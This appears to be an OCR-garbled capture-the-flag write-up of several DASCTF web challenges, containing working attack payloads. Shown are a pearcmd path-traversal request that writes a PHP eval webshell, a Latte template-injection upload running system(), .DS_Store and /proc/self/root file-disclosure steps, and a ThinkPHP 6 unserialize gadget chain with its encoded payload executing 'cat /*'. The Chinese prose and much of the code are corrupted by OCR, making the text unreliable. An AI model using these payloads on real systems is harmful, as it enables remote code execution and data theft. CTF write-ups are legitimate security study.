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->jm->baseé4decode ( ->get(
->get( )
->jm->basesé4decode ->get(
(isempt( )) ( )

<hr>
(!file_exists( ))
(!file_exists( )) i ')
(contain( ->showhomeitems ()

&& getconfig(
)->addlog( . . . . )

CSDN @bfeng;

HoSAMEHIAA
$this->jm->base64encode(’.../...I...I...I...I...1...I...lusr/locallib/php/pearcmd’);
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->jm->hales4encode
<hr>
->jm->haseé4decode( )
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REAT R AR SR E ST UEANBRE, —FFHITESAMmpEFRAEEESK, ERRNMENTABRY, ZEKAT
XA cmsHIHEIE, I T ERE S Krce, FARANBERIATUE.
H # Hpearfwebshel B A variwww/html/iwebmain/flow/page/hello.php, X &i%E#, iTreadflagidFlflag

GET /?+config-create+/&m=index&a=getshtml&surl=LidvLidvLidvLidvLidvLidvLidvLi4dvdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZ
A&/<?=eval($_POST[1])?>+/var/www/html/webmain/flow/page/hello.php HTTP/1.1

Host: 9615689b-066c-4715-a953-31c4a8bd43b7.0arce-ctf.dasctf.com:2333

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=0e965b20e85a8241e07267c188927802; deviceid=1637373701994; xinhu_mo_adminid=7jj0j101nn@11n@1lnneol
hh@jn@1hhotgd1lnt@lnx01nx0jgdjlojkOsgl1l4; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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<?php
error_reporting(9);
require
new Latte\Engine;
setTempDirectory( )
new Latte\Sandbox\SecurityPolicy;
allowMacros([ 5 )
allowFilters($policy::ALL);
allowFunctions([ 5
setPolicy($policy);
setSandboxMode() ;
setAutoRefresh(false);

if(isset($_FILES[ 1)){

$uploaddir :

$filename = basename($ FILES] 10 1;

if(stristr($filename, ) or stristr($filename, ) or stristr($filename, o
die( )

)i

$file_conents = file_get contents($_FILES[ 1L

if(strlen($file_conents)>28 or stristr($file_conents,
die( )s

)i

$uploadfile $uploaddir $filename;

if (move_uploaded_file($_FILES[ 10 1, $uploadfile)) {
$message = $filename 5

} else {
$message

$params
$message,

1

$latte->render( , $params);
s
else if($_GET[ 1==1){

highlight file(_ FILE_ );
s
else{

$latte->render(

HEREZT, RERAGHERKKBMHET .
Hzt 2 latte AEARTE Jerce, {Hbanis TR T trimFlstrlenZ #M I BT A %, %5 FEblackhat™ $2& 21 i £ F 35 1) 2 47 Sk Gead 1F U B
T




1=1s HTTP/1.1

Content-Length: 215

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: null

Content-Type: multipart/form-data; boundary pops

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4
664 .45 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, ;9=0.8,applica
tion/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;gq=0.9

Connection: close

pops
Content-Disposition: form-data; name ; filename
Content-Type: application/octet-stream

{=system%00($_GET[1])}
pops

%00 R BT urlf@ R siAT .
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ETH:

BN C:\Windows\System32\cmd.exe

Using cached ds store-1.1.2. tar.gz (13 kB)
Collecting biplist>=0.6
Using cached biplist-1.0.3.tar.gz (21 kB)
Collecting mac alias»>=2.0.1
Downloading mac_alias—2.2.0. tar. gz (19 kB)
Using legacy ’setup.py install’ for ds—store, since package *wheel’ is not installed
Using legacy ' setup.py install’ for biplist, since package 'wheel’ is not installed
Using legacy ' setup.py install’ for mac—alias, since package ’wheel’ is not installed
Installing collected packages: biplist, mac—alias, ds—store
Running setup.py install for biplist ... done
Running setup.py install for mac-alias ... done
Running setup.py install for ds—store ... done
Successfully installed biplist-1.0.3 ds—store-1.1.2 mac-alias—2.2.0

e usin D n 20. 1 , ve 4

thon27\python2. exe —m pip insta upgrade pip command
C:\Users\15997\Desktop\ds_store_exp>python?2 ds_store_exp. py http://eebee368-0f86-48ac—b32c—e78608916834. haomeidehellowor
ld-ctf. dasctf. com:2333/.DS_Store _
[200: http://eebee368-0f86-48ac—b32c—e78608916834. haomeidehelloworld—ctf. dasctf. com: /.DS_Store
://eebee368-0f86—-48ac—hb32c—e78608916834. haomeidehel loworld—ctf. dasctf. com:2333/, idea/, DS Store
'/ eebee368-0£f86-48ac-b32c—e78608916834. haomeidehelloworld—ctf. dasctf. dom: /.idea
//eebeel3b68-0f86-48ac-b32c—e78608916834. haomeidehelloworld—ctf. dasctf. dom: /. idea/dataSources

C:\Users\15997\Desktop\ds_store_exp:




RIEATE Tidea FHIK AT, AdataSources, HifZIDEA B AL B B8 I v DL EEAIDEARHHATSQLIBAIKI AT T .
{HR THM 403, BEXNEA.
BT — T IXZE N iZZdataSources.xml, i B /] 75 Blflag:

A FZ24 | eebee368-0f86-48ac-b32c-e78608916834.haomeidehelloworld-ctf.dasctf.com:2333/.idea/dataSour... B ¢

This XML file does not appear to have any style information associated with it. The document tree is shown below.

v <{project versio
v<{component nal multifile-model="true">

" uuid="9e687dff-ebb7-45db-h542-b1h5d7c402cd">

DataSourceManagerImpl” format

ata—source source="LOCAL” n " flag@localho.

rer-refomysql. 8¢/driver-ref>
<{synchronize>trued/synchronize
<jdbe—driver>com. mysql. ¢j. jdbe. Driver</ jdbe-driver
<jdbe-url>jdbe:mysql://DASCTF {dd5£79¢10e7505f318ee822ceb8beheb} :3306</ jdbe—url
data—source>

</component>

project>

DM @hfer:
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no file parameter

highlight file Error




t&2filesRJ5 S Rfile_exists#R 44 hacker:

A 24 | a10539f5-4345-4f22-a9a3-badc47b9dabf.easytp-ctf.dasctf.com:2333/public/?file=/etc/passwd IR B & 3 g @

file_exists() return true..

hacker!!!

[x ﬂ Elements Console Sources Network Performance Memory  Application Security Lighthouse HackBar EditThisCookie B2 e : x

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ LFl ~ ENCODING ~ HASHING ~

URL
http://a10539f5-4345-4f22-a9a3-badc47b9dabf.easytp-ctf.dasctf.com:2333/public/?file=/etc/passwd

@  Enable POST ADD HEADER

NE B4R R Efile_existsiR Fltrue#fiZhhacker, {H 23t N\ TUH B I8 H A highlight_file, % RE 2|2 % 1EKweb@, AJRER & H
B, BAE—TFWMCTF2021#IMake PHP Great Againfit— T {4

A AZes | a105395-4345-422-a9a3-badcd7b9dabf easytp-ctf.dasctf.com:2333/public/?file=/proc/self/root/p... B ¢

class Index extends BaseController

public function index()

1 $file);
e)){ die("<h2> no flag..');:}
return true..</br>”
echo "fi return false
@highlight_ :
} -
[ ﬂ Elements Console Sources Network Performance Memory  Application Security Lighthouse HackBar EditThisCookie B2 o X

LOAD SPLIT EXECUTE TEST -~ sqQLl -~ XSS -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://a10539f5-4345-4f22-a9a3-ba4c47b9dabf.easytp-ctf.dasctf.com:2333/public/?

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root

/proc/self/root/proc/self/root/var/www/html|/app/controller/Index.php

@  Enable POST ADD HEADER




php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{

public function index()

{

if (isset($_GET[ 1) |
$file = $_GET[ 1
$file = trim($file);
$file = preg_replace( , ', $file);
if(preg_match( ,$file)){ die(
if(file_exists($file)){
echo
die( )5
}else {
echo
@highlight file($file);

public function unser(){
if(isset($_GET[ 1)){
$ser = $ GET[ 1;
$vul = parse_url($_SERVER[
parse_str($vul| 1,$query);

foreach($query as $value)

{

if(preg_match( ,$value))
{

die( )3
exit();

}

unserialize($ser);
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1t EF— TFgetJsonValue:

getJsonValue($name, $val

1
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php
namespace think\model\concern;

trait Attribute{
private $data=[
private $withAttr=[
protected $visible
protected $json [
protected $jsonAssoc true;

)i

trait ModelEvent{

protected $withEvent;

namespace think;

abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function

{

__construct(%$a

$this
$this
$this
$this
$this

exists true;

force true;
lazySave
withEvent

suffix

true;
false;

$a;

namespace think\model;

use think\Model;

class Pivot extends Model{}

B T S AT

echo urlencode(serialize(new Pivot(new Pivot())));




A AZ2g | a105395-4345-4f22-a9a3-badcd7b9dabf.easytp-ctf.dasctf.com:2333///public/index.php/index/uns... & Yr JEGSEN-

DASCTF{eda49635d135c160249304a443963805} #!/bin/bash echo $DASFLAG > /flag export DASFLAG=not_here DASFLAG=not_here chmod 774 /flag
# [Bzh Apache2 MffRS588 apache2-foreground

WEEIR! EHEHI~

ThinkPHP V6.0.9 { +5E—8-AAPIFFRIZIAIEMREESE + - BEXEM

[x ﬂ Elements Console Sources Network Performance Memory  Application Security Lighthouse HackBar EditThisCookie 1| B2 e : x

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ LFlI ~ ENCODING ~ HASHING ~

URL
http://a10539f5-4345-4f22-a9a3-ba4c47b9da6f.easytp-ctf.dasctf.com:2333///public/index.php/index/unser?

vulvul=0%3A17%3A%22think%5Cmodel%5CPivot%22%3A10%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel %0

Oforce%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3B0%3A17%3A%22think%5Cmodel%5C
Pivot%22%3A10%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%

00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3
A1%3A%7Bs%3A4%3A%22feng%22%3Ba%3A1%3A%7Bs%3A4%3A%22feng%22%3Bs%3A6%3A%22cat+%2F%2A%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00with
Attr%22%3Ba%3A1%3A%7Bs%3A4%3A%22feng%22%3Ba%3A1%3A%7Bs%3A4%3A%22feng%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22%00%2A%00visibl
%29%3Ba%3A1%3A%7Bi% %3Bs%3A4%3A% 622%3Ba%3A1%3A%7Bs%3A4%3A% 622%3Bs%3A4% ;
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